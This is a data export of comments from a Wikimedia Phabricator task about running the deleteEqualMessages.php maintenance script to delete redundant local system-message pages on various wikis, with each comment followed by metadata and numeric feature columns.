+787267,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVlreoZdHQCSeVEJe_Xd} [2017-01-04T21:55:08Z] <Krinkle> mwscript deleteEqualMessages.php --wiki nowiki (T45917)",,,1483566909,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,183,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+766982,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2822892, @MarcoAurelio wrote:
+> Can angwiki be run next? Thanks.
+
+:white_check_mark: Done!",,,1480114888,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,177,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1
+766936,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2822892, @MarcoAurelio wrote:
+> Can angwiki be run next? Thanks.
+
+Done :)",,,1480104613,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,177,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1
+766935,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVidG31FHQCSeVEJeyWR} [2016-11-25T20:09:34Z] <Krinkle> mwscript deleteEqualMessages.php --wiki angwiki (T45917)",,,1480104574,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,177,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+766787,"Delete all redundant ""MediaWiki"" pages for system messages",Can angwiki be run next? Thanks.,,,1480071561,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,177,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+757834,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhFB-pNQMK9DA-FJhuN} [2016-11-08T17:41:36Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki ptwikinews (T45917)",,,1478626896,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+757777,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhEvj7xQMK9DA-FJhrT} [2016-11-08T16:21:08Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki kkwiki (T45917)",,,1478622068,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+757413,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhBM2zgHQCSeVEJesuz} [2016-11-07T23:50:39Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki jawikinews (T45917)",,,1478562639,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+757406,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhBIxJ3HQCSeVEJesuW} [2016-11-07T23:32:47Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki jawikibooks (T45917)",,,1478561567,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+757395,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhBEtxkHQCSeVEJestw} [2016-11-07T23:15:04Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki gawiktionary (T45917)",,,1478560505,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+737332,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVd9IhIcfIH_7EDsrdXG} [2016-09-30T22:06:07Z] <Krinkle> Re-run mwscript deleteEqualMessages.php on all wikis it was previously run on (T45917) ",,,1475273167,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,169,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+714948,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570454, @MuhammadShuaib wrote:
+> @Dereckson, Will you export for me urwiki mediawiki messeges which do not exist on translatewiki? I can help which messeges to be imported to translatewiki. 
+
+Thanks, this is important work. :)",,,1471807228,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,163,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1
+714922,"Delete all redundant ""MediaWiki"" pages for system messages","Here the list of messages to export:
+
+{P3863}
+
+You need to clean it: remove any Wikipedia or Wikimedia message.
+
+The goal is to:
+  - translate on wiki Wikimedia/Wikipedia messages
+  - translate on TranslateWiki universal messages
+
+",,,1471799443,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+714909,"Delete all redundant ""MediaWiki"" pages for system messages","@Dereckson, Will you export for me urwiki mediawiki messeges which do not exist on translatewiki? I can help which messeges to be imported to translatewiki. ",,,1471792632,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,0
+714905,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVatnr1JpirJUPGy-ySY} [2016-08-21T15:01:16Z] <Dereckson> Run deleteEqualMessages maintenance script on urwiki (T45917)",,,1471791677,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+714904,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570412, @Dereckson wrote:
+> We can sorry :)
+
+Thanks, Okay, I wish to delete those messeges which have same value on both wiki. ",,,1471791515,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1
+714903,"Delete all redundant ""MediaWiki"" pages for system messages",We can sorry :),,,1471791402,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+714902,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570408, @Dereckson wrote:
+> We can't start to delete messages with the same values on ur. and TranslateWiki if you wish.
+> 
+> That would delete 297 messages with the (identical) translation already on TranslateWiki.
+
+You can't? :)",,,1471791369,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+714901,"Delete all redundant ""MediaWiki"" pages for system messages","We can't start to delete messages with the same values on ur. and TranslateWiki if you wish.
+
+That would delete 297 messages with the (identical) translation already on TranslateWiki.",,,1471791248,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+714900,"Delete all redundant ""MediaWiki"" pages for system messages","We can't start to delete messages with the same values on ur. and TranslateWiki if you wish.
+
+That would delete 297 messages.",,,1471791220,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+714898,"Delete all redundant ""MediaWiki"" pages for system messages",We can't start to delete messages with the same values on ur. and TranslateWiki.,,,1471791155,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+714897,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570406, @Dereckson wrote:
+> Yes but that's exactly the problem.
+> 
+> TranslateWiki manages the translation for EVERY wiki un Urdu (and you can set every installation of MediaWiki in Urdu just adding ?uselang=ur).
+> 
+> Wikimedia and Wikipedia specific translations should be done on wiki.
+> 
+> Universal translations should be done on TranslateWiki.
+> 
+> So yes, we can export translations from ur.wikipedia to import them to TranslateWiki, but there is a need to know what messages to import, what not.
+
+In that case, Will you delete mediawiki: messeges on ur.wiki? Because now we are translating on translatewiki. ",,,1471790490,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+714896,"Delete all redundant ""MediaWiki"" pages for system messages","Yes but that's exactly the problem.
+
+TranslateWiki manages the translation for EVERY wiki un Urdu (and you can set every installation of MediaWiki in Urdu just adding ?uselang=ur).
+
+Wikimedia and Wikipedia specific translations should be done on wiki.
+
+Universal translations should be done on TranslateWiki.
+
+So yes, we can export translations from ur.wikipedia to import them to TranslateWiki, but there is a need to know what messages to import, what not.",,,1471790303,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+714895,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570356, @Dereckson wrote:
+> The issue is how to sort them between Wikimedia-specific messages and universal messages for every wikis?
+
+I want it for specific wiki, ur.wiki",,,1471787975,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1
+714884,"Delete all redundant ""MediaWiki"" pages for system messages",The issue is how to sort them between Wikimedia-specific messages and universal messages for every wikis?,,,1471784540,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+714826,"Delete all redundant ""MediaWiki"" pages for system messages",Is this possible to move mediawiki: namespace translations to translatewiki.net? Previously we had translated huge amount of mediawiki software strings locally. Some have been outdated but many of them are useful. And now we would like to continue translate on translatewiki. ,,,1471752189,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,1
+713996,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVafiUcdX4d8bmU7pfbN} [2016-08-18T21:23:09Z] <Dereckson> Run deleteEqualMessages maintenance script on eswikibooks, eswikiquote, eswikisource, eswiktionary and eswikiversity (T45917)",,,1471555389,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+713994,"Delete all redundant ""MediaWiki"" pages for system messages","Done.
+
+{P3852}",,,1471555245,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+713980,"Delete all redundant ""MediaWiki"" pages for system messages","I'm handling the es part, then I'll reassign the task to Krinkle for review and closure.",,,1471554376,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+713946,"Delete all redundant ""MediaWiki"" pages for system messages","Doing a quick check, I've encountered the same problems at the rest of Spanish language projects, as such I propose to run the script on:
+
+* eswikibooks
+* eswikiquote
+* eswikisource
+* eswiktionary
+* eswikiversity
+
+Thank you.",,,1471552138,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+713943,"Delete all redundant ""MediaWiki"" pages for system messages","Requesting the script to be run on es.wikisource as per https://es.wikisource.org/w/index.php?title=Especial%3ATodosLosMensajes&prefix=&filter=modified&lang=es&limit=5000
+
+Lots of local messages equal to the source in TWN.
+
+Thank you!",,,1471551990,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+671692,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVUIBSXNgCrwkbTdmSYI} [2016-05-31T18:13:23Z] <Krinkle> mwscript deleteEqualMessages.php --wiki hrwikibooks (T45917)",,,1464718403,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,152,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+671126,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVUDAGmt1EdYBLP_75C3} [2016-05-30T18:50:06Z] <Krinkle> mwscript deleteEqualMessages.php --wiki nvwiki (T45917)",,,1464634207,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,152,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+667970,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTknVjG1EdYBLP_72u_} [2016-05-24T21:13:17Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki mrwiki (T45917)",,,1464124398,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+667900,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTkYTJ_gCrwkbTdmPef} [2016-05-24T20:07:35Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki diqwiki (T45917)",,,1464120456,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+667893,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTkVf57sSQjJM_mrtuk} [2016-05-24T19:55:21Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki cywiktionary (T45917)",,,1464119721,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+667889,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTkTHRTgCrwkbTdmPdj} [2016-05-24T19:44:56Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki warwiki (T45917)",,,1464119096,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
